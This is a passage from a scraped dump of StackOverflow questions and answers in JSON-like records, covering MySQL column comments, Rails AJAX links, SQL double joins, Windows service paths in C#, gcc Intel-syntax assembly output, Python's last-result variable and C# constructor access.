comment='example table'\n</code></pre>\n" }, { "answer_id": 200033, "author": "Gary Richardson", "author_id": 2506, "author_profile": "https://Stackoverflow.com/users/2506", "pm_score": 5, "selected": false, "text": "<p>You can comment columns and tables:</p>\n<pre><code>CREATE TABLE example (\n example_column INT COMMENT &quot;This is an example column&quot;,\n another_column VARCHAR COMMENT &quot;One more column&quot;\n) TYPE=MYISAM COMMENT=&quot;This is a comment about table&quot;;\n</code></pre>\n" }, { "answer_id": 200891, "author": "Stringent Software", "author_id": 27802, "author_profile": "https://Stackoverflow.com/users/27802", "pm_score": 0, "selected": false, "text": "<p>If you use the MySQL Administrator tool to manage/edit your databases, whenever you use the Table Editor, the comment for each column is automatically shown/editable.</p>\n" }, { "answer_id": 17160016, "author": "Dieter Gribnitz", "author_id": 787301, "author_profile": "https://Stackoverflow.com/users/787301", "pm_score": -1, "selected": false, "text": "<p>I just wrote an app for this.</p>\n\n<p>Can be found here:\n<a href=\"https://github.com/SplicePHP/mysql-comments\" rel=\"nofollow\">https://github.com/SplicePHP/mysql-comments</a></p>\n\n<p>Allows you to to update multiple database tables and columns in a single view.</p>\n\n<p>Instructions in link.</p>\n" }, { "answer_id": 21152921, "author": "Brad Kent", "author_id": 1371433, "author_profile": "https://Stackoverflow.com/users/1371433", "pm_score": 3, "selected": false, "text": "<p>This is an oldie, and there many response on how to update a columns comment, or create a table with comments.\nBut the given answers on how to view the comments are rather awful </p>\n\n<ul>\n<li>Nobody confirmed that yes, the comments appear with <a href=\"http://dev.mysql.com/doc/refman/5.0/en/show-tables.html\" rel=\"noreferrer\">SHOW TABLES</a> (as the original question pondered)</li>\n<li>Edward Yang suggests the <a href=\"http://dev.mysql.com/doc/refman/5.1/en/columns-table.html\" rel=\"noreferrer\">INFORMATION_SCHEMA COLUMNS</a> table </li>\n</ul>\n\n<p>The easiest way to view the comments is via <a href=\"http://dev.mysql.com/doc/refman/5.0/en/show-columns.html\" rel=\"noreferrer\">SHOW COLUMNS</a> with the FULL keyword:<br>\n<code>SHOW FULL COLUMNS FROM mytable</code></p>\n" }, { "answer_id": 44217839, "author": "Anjani Barnwal", "author_id": 7156889, "author_profile": "https://Stackoverflow.com/users/7156889", "pm_score": 2, "selected": false, "text": "<p>if you want comment in table (in phpmyadmin) then follow these steps</p>\n\n<ol>\n<li>open localhost/phpmyadmin</li>\n<li>goto your database and select table</li>\n<li>now select operations menu from top.</li>\n<li>and goto table options and edit table comments.\n<a href=\"https://i.stack.imgur.com/gaqmE.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gaqmE.jpg\" alt=\"enter image description here\"></a></li>\n</ol>\n" }, { "answer_id": 59830571, "author": "Hebe", "author_id": 7516009, "author_profile": "https://Stackoverflow.com/users/7516009", "pm_score": 2, "selected": false, "text": "<p>Top voted answer worked for me only after equal sign removal. My working example would be</p>\n\n<pre><code>CREATE TABLE `example` (\n`id` int(11) NOT NULL,\n`two` varchar(255) COMMENT \"comment text\",\nPRIMARY KEY (`id`)\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\n</code></pre>\n" }, { "answer_id": 64481275, "author": "golimar", "author_id": 1040245, "author_profile": "https://Stackoverflow.com/users/1040245", "pm_score": 0, "selected": false, "text": "<p>If you reached here looking for comments in DATABASE/SCHEMA, it's not supported in MySQL but it is in MariaDB:</p>\n<p><a href=\"https://mariadb.com/kb/en/create-database/\" rel=\"nofollow noreferrer\">https://mariadb.com/kb/en/create-database/</a></p>\n" }, { "answer_id": 65336898, "author": "Binh Ho", "author_id": 9585130, "author_profile": "https://Stackoverflow.com/users/9585130", "pm_score": 0, "selected": false, "text": "<p>Tested. this worked.</p>\n<pre><code>CREATE TABLE `table_with_comment` (\n `id` int(11) NOT NULL,\n `column_a` varchar(255) DEFAULT NULL COMMENT 'comment comlumn text',\n PRIMARY KEY (`id`)\n) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='This is a table comment';\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/199905", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1444/" ]
Is it possible to add comments somehow, somewhere? I don't pretend to be any sort of expert when using MySQL and certainly don't spend all day in it. More often than I would like I forget how I intend to use a column (usally the bit ones) and would be very excited if I could add a comment to remind me if 1 is good or bad, for example. I'd be happy if it only showed up in something like 'show create table', but any obscure place within the table structures would be better and easier to find than the current post-it notes on my desk.
<http://dev.mysql.com/doc/refman/5.0/en/create-table.html> ``` table_option: {ENGINE|TYPE} [=] engine_name | AUTO_INCREMENT [=] value | AVG_ROW_LENGTH [=] value | [DEFAULT] CHARACTER SET [=] charset_name | CHECKSUM [=] {0 | 1} | [DEFAULT] COLLATE [=] collation_name | COMMENT [=] 'string' ``` --- Example: ``` CREATE TABLE foo ( id int(10) NOT NULL auto_increment COMMENT 'unique ID for each foo entry', bar varchar(255) default NULL COMMENT 'the bar of the foo', .... ) TYPE=MyISAM; ```
199,936
<p>I am currently trying to program my first ajax interface using Rails.</p> <p>The application currently shows a table populated with list items. The user has to approve or reject each of the list items. I currently have an edit link at the end of each row that shows a form in which I can approve the list item.</p> <p>I am thinking on using a checkbox instead of the edit link. When the user clicks the checkbox I want to update the database with the status, user name and date/time without leaving this page.</p> <ol> <li>What steps should I follow? </li> <li>Can I use a checkbox or am I restricted to buttons?</li> <li>What xxx_remote helper should I use?</li> <li>How can I update the checkbox state with the results of the ajax call?</li> </ol>
[ { "answer_id": 200071, "author": "Andrew", "author_id": 17408, "author_profile": "https://Stackoverflow.com/users/17408", "pm_score": 4, "selected": true, "text": "<p>I don't think that a checkbox is the correct control for what you're looking for.\nYou said you want user's to be able to approve or reject items which means that you have 3 states: unhandled, approved and rejected. A checkbox only supports 2 states: off and on</p>\n\n<p>I would use two links accept and reject and then do it as follows.</p>\n\n<p><strong>In your view:</strong></p>\n\n<pre><code>...\n&lt;tr id=\"item1\"&gt;\n &lt;td&gt;Accept or Reject&lt;/td&gt;\n &lt;td&gt;\n link_to_remote 'accept', :action =&gt; :accept, :id =&gt; 1, :method =&gt; :post\n link_to_remote 'reject', :action =&gt; :reject, :id =&gt; 1, :method =&gt; :post\n &lt;/td&gt;\n&lt;/tr&gt;\n...\n</code></pre>\n\n<p><strong>In your controller</strong></p>\n\n<pre><code>def accept\n item = Item.find(params[:id])\n item.accept\n respond_to do |want|\n want.js {\n render :update do |page|\n page &lt;&lt; \"$('item_#{item.id}').cells[0].innerHTML = 'Accepted'\"\n ...include other updates you need to make to your row...\n page.visual_effect :highlight, \"item_#{item.id}\"\n end\n }\n end\nend \n... similar for reject method ...\n</code></pre>\n" }, { "answer_id": 200588, "author": "Tomek Melissa", "author_id": 1928, "author_profile": "https://Stackoverflow.com/users/1928", "pm_score": 1, "selected": false, "text": "<p>This is a comment to solution proposed by Andrew,</p>\n\n<p>I had to write params of <code>link_to_remote</code> function like this</p>\n\n<pre><code>link_to_remote 'reject', :url =&gt; {:action =&gt; :reject, :id =&gt; item.id, :method =&gt; :post}\n</code></pre>\n\n<p>Also, remember to add new actions to your routes.rb if You are using restful resources\ni.e.</p>\n\n<pre><code>map.resources :items, :member =&gt; {:accept =&gt; :post, :reject =&gt; :post}\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/199936", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14755/" ]
I am currently trying to program my first ajax interface using Rails. The application currently shows a table populated with list items. The user has to approve or reject each of the list items. I currently have an edit link at the end of each row that shows a form in which I can approve the list item. I am thinking on using a checkbox instead of the edit link. When the user clicks the checkbox I want to update the database with the status, user name and date/time without leaving this page. 1. What steps should I follow? 2. Can I use a checkbox or am I restricted to buttons? 3. What xxx\_remote helper should I use? 4. How can I update the checkbox state with the results of the ajax call?
I don't think that a checkbox is the correct control for what you're looking for. You said you want user's to be able to approve or reject items which means that you have 3 states: unhandled, approved and rejected. A checkbox only supports 2 states: off and on I would use two links accept and reject and then do it as follows. **In your view:** ``` ... <tr id="item1"> <td>Accept or Reject</td> <td> link_to_remote 'accept', :action => :accept, :id => 1, :method => :post link_to_remote 'reject', :action => :reject, :id => 1, :method => :post </td> </tr> ... ``` **In your controller** ``` def accept item = Item.find(params[:id]) item.accept respond_to do |want| want.js { render :update do |page| page << "$('item_#{item.id}').cells[0].innerHTML = 'Accepted'" ...include other updates you need to make to your row... page.visual_effect :highlight, "item_#{item.id}" end } end end ... similar for reject method ... ```
199,953
<p>I have 2 tables. One (domains) has domain ids, and domain names (dom_id, dom_url).</p> <p>the other contains actual data, 2 of which columns require a TO and FROM domain names. So I have 2 columns rev_dom_from and rev_dom_for, both of which store the domain name id, from the domains table.</p> <p>Simple.</p> <p>Now I need to actually display both domain names on the webpage. I know how to display one or the other, via the LEFT JOIN domains ON reviews.rev_dom_for = domains.dom_url query, and then you echo out the dom_url, which would echo out the domain name in the rev_dom_for column.</p> <p>But how would I make it echo out the 2nd domain name, in the dom_rev_from column?</p>
[ { "answer_id": 199958, "author": "Stephen Wrighton", "author_id": 7516, "author_profile": "https://Stackoverflow.com/users/7516", "pm_score": 8, "selected": true, "text": "<p>you'd use another join, something along these lines:</p>\n\n<pre><code>SELECT toD.dom_url AS ToURL, \n fromD.dom_url AS FromUrl, \n rvw.*\n\nFROM reviews AS rvw\n\nLEFT JOIN domain AS toD \n ON toD.Dom_ID = rvw.rev_dom_for\n\nLEFT JOIN domain AS fromD \n ON fromD.Dom_ID = rvw.rev_dom_from\n</code></pre>\n\n<p><strong><em>EDIT</strong>:</em></p>\n\n<p>All you're doing is joining in the table multiple times. Look at the query in the post: it selects the values from the Reviews tables (aliased as rvw), that table provides you 2 references to the Domain table (a FOR and a FROM).</p>\n\n<p>At this point it's a simple matter to left join the Domain table to the Reviews table. Once (aliased as toD) for the FOR, and a second time (aliased as fromD) for the FROM.</p>\n\n<p>Then in the SELECT list, you will select the DOM_URL fields from both LEFT JOINS of the DOMAIN table, referencing them by the table alias for each joined in reference to the Domains table, and alias them as the ToURL and FromUrl.</p>\n\n<p>For more info about aliasing in SQL, read <a href=\"http://www.w3schools.com/SQL/sql_alias.asp\" rel=\"noreferrer\">here</a>.</p>\n" }, { "answer_id": 200061, "author": "delux247", "author_id": 5569, "author_profile": "https://Stackoverflow.com/users/5569", "pm_score": 3, "selected": false, "text": "<p>Given the following tables..</p>\n\n<pre><code>Domain Table\ndom_id | dom_url\n\nReview Table\nrev_id | rev_dom_from | rev_dom_for\n</code></pre>\n\n<p>Try this sql... (It's pretty much the same thing that Stephen Wrighton wrote above)\nThe trick is that you are basically selecting from the domain table twice in the same query and joining the results.</p>\n\n<pre><code>Select d1.dom_url, d2.dom_id from\nreview r, domain d1, domain d2\nwhere d1.dom_id = r.rev_dom_from\nand d2.dom_id = r.rev_dom_for\n</code></pre>\n\n<p>If you are still stuck, please be more specific with exactly it is that you don't understand.</p>\n" }, { "answer_id": 14785621, "author": "Ashekur Rahman molla Asik", "author_id": 1672948, "author_profile": "https://Stackoverflow.com/users/1672948", "pm_score": -1, "selected": false, "text": "<p>Read this and try, this will help you:</p>\n\n<p><strong>Table1</strong> </p>\n\n<pre><code>column11,column12,column13,column14\n</code></pre>\n\n<p><strong>Table2</strong> </p>\n\n<pre><code>column21,column22,column23,column24\n\n\nSELECT table1.column11,table1.column12,table2asnew1.column21,table2asnew2.column21 \nFROM table1 INNER JOIN table2 AS table2asnew1 ON table1.column11=table2asnew1.column21 INNER TABLE table2 as table2asnew2 ON table1.column12=table2asnew2.column22\n</code></pre>\n\n<p><code>table2asnew1</code> is an instance of table 2 which is matched by <code>table1.column11=table2asnew1.column21</code></p>\n\n<p>and </p>\n\n<p><code>table2asnew2</code> is another instance of table 2 which is matched by <code>table1.column12=table2asnew2.column22</code></p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/199953", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I have 2 tables. One (domains) has domain ids, and domain names (dom\_id, dom\_url). the other contains actual data, 2 of which columns require a TO and FROM domain names. So I have 2 columns rev\_dom\_from and rev\_dom\_for, both of which store the domain name id, from the domains table. Simple. Now I need to actually display both domain names on the webpage. I know how to display one or the other, via the LEFT JOIN domains ON reviews.rev\_dom\_for = domains.dom\_url query, and then you echo out the dom\_url, which would echo out the domain name in the rev\_dom\_for column. But how would I make it echo out the 2nd domain name, in the dom\_rev\_from column?
you'd use another join, something along these lines: ``` SELECT toD.dom_url AS ToURL, fromD.dom_url AS FromUrl, rvw.* FROM reviews AS rvw LEFT JOIN domain AS toD ON toD.Dom_ID = rvw.rev_dom_for LEFT JOIN domain AS fromD ON fromD.Dom_ID = rvw.rev_dom_from ``` ***EDIT***: All you're doing is joining in the table multiple times. Look at the query in the post: it selects the values from the Reviews tables (aliased as rvw), that table provides you 2 references to the Domain table (a FOR and a FROM). At this point it's a simple matter to left join the Domain table to the Reviews table. Once (aliased as toD) for the FOR, and a second time (aliased as fromD) for the FROM. Then in the SELECT list, you will select the DOM\_URL fields from both LEFT JOINS of the DOMAIN table, referencing them by the table alias for each joined in reference to the Domains table, and alias them as the ToURL and FromUrl. For more info about aliasing in SQL, read [here](http://www.w3schools.com/SQL/sql_alias.asp).
199,961
<p>How can I find out the folder where the windows service .exe file is installed dynamically?</p> <pre><code>Path.GetFullPath(relativePath); </code></pre> <p>returns a path based on <code>C:\WINDOWS\system32</code> directory.</p> <p>However, the <code>XmlDocument.Load(string filename)</code> method appears to be working against relative path inside the directory where the service .exe file is installed to.</p>
[ { "answer_id": 199976, "author": "Greg Dean", "author_id": 1200558, "author_profile": "https://Stackoverflow.com/users/1200558", "pm_score": 7, "selected": true, "text": "<p>Try</p>\n\n<pre><code>System.Reflection.Assembly.GetEntryAssembly().Location\n</code></pre>\n" }, { "answer_id": 199991, "author": "TheSoftwareJedi", "author_id": 18941, "author_profile": "https://Stackoverflow.com/users/18941", "pm_score": -1, "selected": false, "text": "<p>This should give you the path that the executable resides in:</p>\n\n<pre><code>Environment.CurrentDirectory;\n</code></pre>\n\n<p>If not, you could try:</p>\n\n<pre><code>Directory.GetParent(Assembly.GetEntryAssembly().Location).FullName\n</code></pre>\n\n<p>A more hacky, but functional way:</p>\n\n<pre><code>Path.GetFullPath(\"a\").TrimEnd('a')\n</code></pre>\n\n<p>:)</p>\n" }, { "answer_id": 201177, "author": "lowglider", "author_id": 9602, "author_profile": "https://Stackoverflow.com/users/9602", "pm_score": 3, "selected": false, "text": "<p>This works for our windows service:</p>\n\n<pre><code>//CommandLine without the first and last two characters\n//Path.GetDirectory seems to have some difficulties with these (special chars maybe?)\nstring cmdLine = Environment.CommandLine.Remove(Environment.CommandLine.Length - 2, 2).Remove(0, 1);\nstring workDir = Path.GetDirectoryName(cmdLine); \n</code></pre>\n\n<p>This should give you the absolute path of the executable.</p>\n" }, { "answer_id": 201364, "author": "Chris S", "author_id": 21574, "author_profile": "https://Stackoverflow.com/users/21574", "pm_score": 3, "selected": false, "text": "<p>Another version of the above:</p>\n\n<pre><code>string path = Assembly.GetExecutingAssembly().Location;\nFileInfo fileInfo = new FileInfo(path);\nstring dir = fileInfo.DirectoryName;\n</code></pre>\n" }, { "answer_id": 290308, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 5, "selected": false, "text": "<pre><code>Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location)\n</code></pre>\n" }, { "answer_id": 3026199, "author": "Amzath", "author_id": 313208, "author_profile": "https://Stackoverflow.com/users/313208", "pm_score": 2, "selected": false, "text": "<p>Environment.CurrentDirectory returns current directory where program is running. In case of windows service, returns %WINDIR%/system32 path that is where executable will run rather than where executable deployed.</p>\n" }, { "answer_id": 13129413, "author": "Curtis Yallop", "author_id": 854342, "author_profile": "https://Stackoverflow.com/users/854342", "pm_score": 6, "selected": false, "text": "<p>Try this:</p>\n\n<pre><code>AppDomain.CurrentDomain.BaseDirectory\n</code></pre>\n\n<p>(Just like here: <a href=\"https://stackoverflow.com/questions/2833959/how-to-find-windows-service-exe-path\">How to find windows service exe path</a>)</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/199961", "https://Stackoverflow.com", "https://Stackoverflow.com/users/437435/" ]
How can I find out the folder where the windows service .exe file is installed dynamically? ``` Path.GetFullPath(relativePath); ``` returns a path based on `C:\WINDOWS\system32` directory. However, the `XmlDocument.Load(string filename)` method appears to be working against relative path inside the directory where the service .exe file is installed to.
Try ``` System.Reflection.Assembly.GetEntryAssembly().Location ```
199,966
<p>The <code>gcc -S</code> option will generate assembly code in AT&amp;T syntax, is there a way to generate files in Intel syntax? Or is there a way to convert between the two?</p>
[ { "answer_id": 200028, "author": "Jason Dagit", "author_id": 5113, "author_profile": "https://Stackoverflow.com/users/5113", "pm_score": 9, "selected": true, "text": "<h3>Use <code>-masm=intel</code></h3>\n<pre><code>gcc -S -masm=intel -Og -fverbose-asm test.c\n</code></pre>\n<p>That works with GCC, and clang3.5 and later. <a href=\"https://gcc.gnu.org/onlinedocs/gcc/x86-Options.html#index-masm_003ddialect\" rel=\"noreferrer\">GCC manual</a>:</p>\n<blockquote>\n<ul>\n<li><code>-masm=dialect</code><br />\nOutput asm instructions using selected dialect. Supported choices\nare intel or att (the default one). Darwin does not support intel.</li>\n</ul>\n</blockquote>\n<p>For Mac OSX, note that by default, the <code>gcc</code> command actually runs clang. Modern clang supports <code>-masm=intel</code> as a synonym for this, but <a href=\"https://stackoverflow.com/a/11957826/950427\">this always works with clang</a>:</p>\n<pre><code>clang++ -S -mllvm --x86-asm-syntax=intel test.cpp\n</code></pre>\n<p>Note that <a href=\"https://reviews.llvm.org/D113707\" rel=\"noreferrer\">until clang 14</a>, this does <em>not</em> change how clang processes inline <code>asm()</code> statements, <a href=\"https://stackoverflow.com/questions/9347909/can-i-use-intel-syntax-of-x86-assembly-with-gcc\">unlike for GCC</a>.</p>\n<p>These are the options used by Matt Godbolt's Compiler Explorer site by default: <a href=\"https://godbolt.org/\" rel=\"noreferrer\">https://godbolt.org/</a><br />\nSee also <a href=\"https://stackoverflow.com/questions/38552116/how-to-remove-noise-from-gcc-clang-assembly-output\">How to remove &quot;noise&quot; from GCC/clang assembly output?</a> for other options and tips for getting asm output that's interesting to look at.</p>\n" }, { "answer_id": 5638826, "author": "phoxis", "author_id": 702361, "author_profile": "https://Stackoverflow.com/users/702361", "pm_score": 4, "selected": false, "text": "<p>The</p>\n\n<pre><code>gcc -S -masm=intel test.c\n</code></pre>\n\n<p>Does work with me. But i can tell another way, although this has nothing to do with running gcc. \nCompile the executable or the object code file and then disassemble the object code in Intel asm syntax with objdump as below:</p>\n\n<pre><code> objdump -d --disassembler-options=intel a.out\n</code></pre>\n\n<p>This might help.</p>\n" }, { "answer_id": 10768776, "author": "RizonBarns", "author_id": 1419364, "author_profile": "https://Stackoverflow.com/users/1419364", "pm_score": 3, "selected": false, "text": "<p>I have this code in CPP file:</p>\n\n<pre><code>#include &lt;conio.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\n\nint a = 0;\nint main(int argc, char *argv[]) {\n asm(\"mov eax, 0xFF\");\n asm(\"mov _a, eax\");\n printf(\"Result of a = %d\\n\", a);\n getch();\n return 0;\n };\n</code></pre>\n\n<p>That's code worked with this GCC command line:</p>\n\n<pre><code>gcc.exe File.cpp -masm=intel -mconsole -o File.exe\n</code></pre>\n\n<p>It will result *.exe file, and it worked in my experience.</p>\n\n<pre><code>Notes:\nimmediate operand must be use _variable in global variabel, not local variable.\nexample: mov _nLength, eax NOT mov $nLength, eax or mov nLength, eax\n\nA number in hexadecimal format must use at&amp;t syntax, cannot use intel syntax.\nexample: mov eax, 0xFF -&gt; TRUE, mov eax, 0FFh -&gt; FALSE.\n</code></pre>\n\n<p>That's all.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/199966", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1841/" ]
The `gcc -S` option will generate assembly code in AT&T syntax, is there a way to generate files in Intel syntax? Or is there a way to convert between the two?
### Use `-masm=intel` ``` gcc -S -masm=intel -Og -fverbose-asm test.c ``` That works with GCC, and clang3.5 and later. [GCC manual](https://gcc.gnu.org/onlinedocs/gcc/x86-Options.html#index-masm_003ddialect): > > * `-masm=dialect` > > Output asm instructions using selected dialect. Supported choices > are intel or att (the default one). Darwin does not support intel. > > > For Mac OSX, note that by default, the `gcc` command actually runs clang. Modern clang supports `-masm=intel` as a synonym for this, but [this always works with clang](https://stackoverflow.com/a/11957826/950427): ``` clang++ -S -mllvm --x86-asm-syntax=intel test.cpp ``` Note that [until clang 14](https://reviews.llvm.org/D113707), this does *not* change how clang processes inline `asm()` statements, [unlike for GCC](https://stackoverflow.com/questions/9347909/can-i-use-intel-syntax-of-x86-assembly-with-gcc). These are the options used by Matt Godbolt's Compiler Explorer site by default: <https://godbolt.org/> See also [How to remove "noise" from GCC/clang assembly output?](https://stackoverflow.com/questions/38552116/how-to-remove-noise-from-gcc-clang-assembly-output) for other options and tips for getting asm output that's interesting to look at.
200,020
<p>In many symbolic math systems, such as Matlab or Mathematica, you can use a variable like <code>Ans</code> or <code>%</code> to retrieve the last computed value. Is there a similar facility in the Python shell?</p>
[ { "answer_id": 200027, "author": "Mark Cidade", "author_id": 1659, "author_profile": "https://Stackoverflow.com/users/1659", "pm_score": 9, "selected": true, "text": "<p>Underscore.</p>\n\n<pre><code>&gt;&gt;&gt; 5+5\n10\n&gt;&gt;&gt; _\n10\n&gt;&gt;&gt; _ + 5\n15\n&gt;&gt;&gt; _\n15\n</code></pre>\n" }, { "answer_id": 200045, "author": "Peter Hoffmann", "author_id": 720, "author_profile": "https://Stackoverflow.com/users/720", "pm_score": 7, "selected": false, "text": "<p>Just for the record, ipython takes this one step further and you can access every result with _ and its numeric value</p>\n\n<pre><code>In [1]: 10\nOut[1]: 10\n\nIn [2]: 32\nOut[2]: 32\n\nIn [3]: _\nOut[3]: 32\n\nIn [4]: _1\nOut[4]: 10\n\nIn [5]: _2\nOut[5]: 32\n\nIn [6]: _1 + _2\nOut[6]: 42\n\nIn [7]: _6\nOut[7]: 42\n</code></pre>\n\n<p>And it is possible to edit ranges of lines with the %ed macro too:</p>\n\n<pre><code>In [1]: def foo():\n ...: print \"bar\"\n ...: \n ...: \n\nIn [2]: foo()\nbar\n\nIn [3]: %ed 1-2\n</code></pre>\n" }, { "answer_id": 56060036, "author": "Jan Kukacka", "author_id": 2042751, "author_profile": "https://Stackoverflow.com/users/2042751", "pm_score": 4, "selected": false, "text": "<p>IPython allows you to go beyond the single underscore <code>_</code> with double (<code>__</code>) and triple underscore (<code>___</code>), returning results of the second- and third-to-last commands.</p>\n\n<p>Alternatively, you can also use <code>Out[n]</code>, where <code>n</code> is the number of the input that generated the output:</p>\n\n<pre><code>In [64]: 1+1\nOut[64]: 2\n\n...\n\nIn [155]: Out[64] + 3\nOut[155]: 5\n</code></pre>\n\n<p>For more info, see <a href=\"https://jakevdp.github.io/PythonDataScienceHandbook/01.04-input-output-history.html\" rel=\"noreferrer\">https://jakevdp.github.io/PythonDataScienceHandbook/01.04-input-output-history.html</a> .</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200020", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23845/" ]
In many symbolic math systems, such as Matlab or Mathematica, you can use a variable like `Ans` or `%` to retrieve the last computed value. Is there a similar facility in the Python shell?
Underscore. ``` >>> 5+5 10 >>> _ 10 >>> _ + 5 15 >>> _ 15 ```
200,066
<p>In C#, how do I get the name of the drive that the Operating System is installed on?</p>
[ { "answer_id": 200068, "author": "TheSoftwareJedi", "author_id": 18941, "author_profile": "https://Stackoverflow.com/users/18941", "pm_score": 5, "selected": false, "text": "<p>This should do it for you:</p>\n\n<pre><code>Path.GetPathRoot(Environment.SystemDirectory)\n</code></pre>\n" }, { "answer_id": 200141, "author": "JimmyTudeski", "author_id": 27181, "author_profile": "https://Stackoverflow.com/users/27181", "pm_score": 2, "selected": false, "text": "<p>All other Environment properties can be found at ms itself : <a href=\"http://msdn.microsoft.com/en-us/library/system.environment_properties.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/system.environment_properties.aspx</a></p>\n\n<p>SystemDirectory - Gets the fully qualified path of the system directory. </p>\n" }, { "answer_id": 8616204, "author": "Aditya Reddy", "author_id": 1005009, "author_profile": "https://Stackoverflow.com/users/1005009", "pm_score": 1, "selected": false, "text": "<p>There is an enum \"SpecialFolder\" in Environment where we can select the folder we are looking for..</p>\n\n<p>Environment.GetFolderPath(Environment.SpecialFolder.Desktop);</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200066", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
In C#, how do I get the name of the drive that the Operating System is installed on?
This should do it for you: ``` Path.GetPathRoot(Environment.SystemDirectory) ```
200,079
<p>Given the following inheritance tree, what would be the best way of implementing it in a way that works?</p> <pre><code>abstract class Foo&lt;T&gt; : IEnumerable&lt;T&gt; { public abstract Bar CreateBar(); } class Bar&lt;T&gt; : Foo&lt;T&gt; { // Bar's provide a proxy interface to Foo's and limit access nicely. // The general public shouldn't be making these though, they have access // via CreateBar() protected Bar(Foo base) { // snip... } } class Baz&lt;T&gt; : Foo&lt;T&gt; { public Bar CreateBar() { return new Bar(this); } } </code></pre> <p>This fails with: <code>'Bar.Bar()' is inaccessible due to its protection level</code>.</p> <p>I don't want the constructor being public, only classes that inherit from <code>Foo</code> should be able to create <code>Bar</code>s. <code>Bar</code> is a specialised <code>Foo</code>, and any type of <code>Foo</code> should be able to create one. Public internal is an 'option' here, as the majority of the predefined extensions to <code>Foo</code> will be internal to the DLL, but I consider this a sloppy answer, since anyone who comes along later who wants to create their own type of <code>Foo</code> or <code>Baz</code> (which is likely to happen) will be stuck with a default <code>CreateBar()</code> implementation, which may or may not meet their needs.</p> <p>Perhaps there is a way of refactoring this to make it work nicely? I'm banging my head on the wall trying to design this so it'll work though.</p> <p><strong>Edit (More info):</strong></p> <p>Slightly more concrete: Foo is implementing IEnumerable and long story short, Bar is providing the same interface, but to a limited subset of that enumerable object. All Foo's should be able to create subsets of themselves (ie. Bar) and return it. But I don't want to have everyone who ever wants to implement a Foo to have to worry about this, because Bar will do the proxying and worry about limiting the range, etc.</p>
[ { "answer_id": 200087, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 1, "selected": false, "text": "<p>Would it be possible for you to make Baz a nested type within Bar? That's the only way you'll give it more access to Bar than it would otherwise have. Just having the same parent class only gives it access to protected members of Foo, and Foo doesn't have special access to Bar. I suspect there are other tortuous ways of doing this with nested types, but really it's going to be quite unpleasant for maintenance engineers.</p>\n\n<p>It's quite an odd design though, to force one derived class to create an instance of a different class derived from the same base class. Is that really what you need? Perhaps if you put this in more concrete terms it would be easier to come up with alternative designs.</p>\n" }, { "answer_id": 200117, "author": "Ash", "author_id": 5023, "author_profile": "https://Stackoverflow.com/users/5023", "pm_score": 0, "selected": false, "text": "<p>C# doesn't provide a direct equivalent of the C++ friend keyword. Seems like your design is requiring this sort of construct.</p>\n\n<p>In C++ you could designate that a specific class has access to the private/protected members of another class by using \"friend\". Note: this is not the same as C# internal, modifier which gives access to all classes within the same assembly.</p>\n\n<p>Looking at your design, it seems you are trying to do something along the lines that would require the C++ style friend. Jon Skeet is right, the usual design in C# to make up for this is to use a nested class.</p>\n\n<p>This <a href=\"http://bytes.com/forum/thread235936.html\" rel=\"nofollow noreferrer\">forum post</a> explains further and shows some examples of how to do this.</p>\n" }, { "answer_id": 200129, "author": "Mark Cidade", "author_id": 1659, "author_profile": "https://Stackoverflow.com/users/1659", "pm_score": 1, "selected": false, "text": "<p>You can access Bar's constructor through a nested type within Foo:</p>\n\n<pre><code>abstract class Foo&lt;T&gt; : IEnumerable&lt;T&gt;\n{\n public abstract Bar&lt;T&gt; CreateBar();\n\n protected Bar&lt;T&gt; CreateBar(Foo&lt;T&gt; f) { return new FooBar(f); }\n\n private class FooBar : Bar&lt;T&gt; \n { public FooBar(Foo&lt;T&gt; f) : base(f) {} \n }\n}\n\nclass Bar&lt;T&gt; : Foo&lt;T&gt;\n{ protected Bar(Foo&lt;T&gt; @base) {}\n}\n\nclass Baz&lt;T&gt; : Foo&lt;T&gt;\n{\n public override Bar&lt;T&gt; CreateBar() \n {\n return CreateBar(this);\n }\n}\n</code></pre>\n" }, { "answer_id": 200142, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 3, "selected": true, "text": "<p>Okay, new answer:</p>\n\n<ol>\n<li>Split Bar into an interface and a concrete class.</li>\n<li>Express the public abstract method in terms of IBar.</li>\n<li>Make Bar a private nested class in Foo, implementing IBar. Give it an internal constructor which you can call from Foo.</li>\n<li>Write a protected method in Foo which creates an instance of Bar from itself. Classes deriving from Foo can use this to implement the abstract method if just proxying is good enough, and classes with more complicated needs can just implement IBar directly. You could even change the abstract method to a virtual one, and create a new Bar from \"this\" by default.</li>\n</ol>\n\n<p>EDIT: One variant on this would be to make Bar a <em>protected</em> nested class within Foo, with a public constructor. That way any derived class would be able to instantiate it for themselves, but no unrelated class would be able to \"see\" it at all. You'd still need to separate the interface from the implementation (so that the interface can be public) but I think that's a good thing anyway.</p>\n" }, { "answer_id": 200164, "author": "Robert Rossney", "author_id": 19403, "author_profile": "https://Stackoverflow.com/users/19403", "pm_score": 1, "selected": false, "text": "<p>Forget, for a moment, that Bar derives from Foo. If you do this, it sounds like the problem is \"How do I make it so that every subclass of Foo can create a Bar, even if the subclass doesn't have access to Bar's constructor?\"</p>\n\n<p>That's a pretty easy problem to solve:</p>\n\n<pre><code>public class Foo\n{\n 